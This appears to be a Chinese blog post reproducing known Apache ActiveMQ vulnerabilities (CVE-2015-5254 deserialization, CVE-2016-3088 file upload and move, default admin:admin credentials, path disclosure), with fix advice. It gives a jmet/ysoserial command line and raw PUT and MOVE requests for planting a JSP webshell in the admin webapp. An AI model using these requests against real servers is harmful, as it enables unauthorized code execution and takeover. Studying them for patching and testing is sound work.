ActiveMQ漏洞初步

ActiveMQ 反序列化漏洞(CVE-2015-5254)

参考链接

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
https://github.com/vulhub/vulhub/blob/master/activemq/CVE-2015-5254/README.zh-cn.md

ActiveMQ默认对外开启61616端口,默认为ActiveMQ消息队列端口

影响版本

Apache ActiveMQ 5.13.0之前5.x版本

漏洞复现

  • 构造(可以使用ysoserial)可执行命令的序列化对象
  • 作为一个消息,发送给目标61616端口
  • 访问web管理页面,读取消息,触发漏洞

使用jmet进行漏洞利用,工具内包含ysoserial,生成payload发送到反序列化数据到消息队列中。

注意使用工具需要在当前目录下创建一个external目录,否则会出现NoSuchFileException

有时候因为JAVA Runtime.getRuntime().exec()管道符原因还需要将命令进行编码

http://www.jackson-t.ca/runtime-exec-payloads.html

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "执行命令" -Yp (yseserial中选择gadget) (目标IP) 61616

image
之后可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event访问队列消息点击即可触发命令执行。
image

修复建议

针对反序列化最好是升级版本或者WAF添加规则进行拦截。

在复现过程中会发现最后一步需要管理员访问消息队列并进行点击才能触发命令执行。可以伪装成合法消息。但总的来说需要一定条件,利用有限(配合弱口令利用)。

其他漏洞

参考链接

https://www.cnblogs.com/jinqi520/p/9367590.html

  1. 可能Console存在默认端口和默认密码/未授权访问

ActiveMQ默认使用8161端口;默认密码为admin:admin

  1. ActiveMQ物理路径泄漏漏洞

ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息:

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4

test
  1. ActiveMQ PUT任意文件上传漏洞

ActiveMQ默认开启PUT方法,当fileserver存在时我们可以上传jspwebshell。

PUT /fileserver/shell.jsp HTTP/1.1
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 26

this is jsp webshell code.
  1. ActiveMQ任意文件文件移动漏洞
MOVE /fileserver/shell.jsp HTTP/1.1
Destination:file:/data/apache-activemq-5.7.0/webapps/admin/shell.jsp
Host: 192.168.197.25:8161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 17

同理 可以写ssh key

影响版本:Apache ActiveMQ 5.x ~ 5.14.0

CVE信息:CVE-2016-3088

修复建议

  • 针对未授权访问,可修改conf/jetty.xml文件,bean id为securityConstraint下的authenticate修改值为true,重启服务即可
  • 针对弱口令,可修改conf/jetty.xml文件,bean id 为securityLoginService下的conf值获取用户properties,修改用户名密码,重启服务即可
  • 针对信息泄漏漏洞,启用TLS传输或升级到Apache ActiveMQ的5.14.6或5.15.3以上版本
posted @ 2020-07-22 12:44  Yg~  阅读(523)  评论(0)    收藏  举报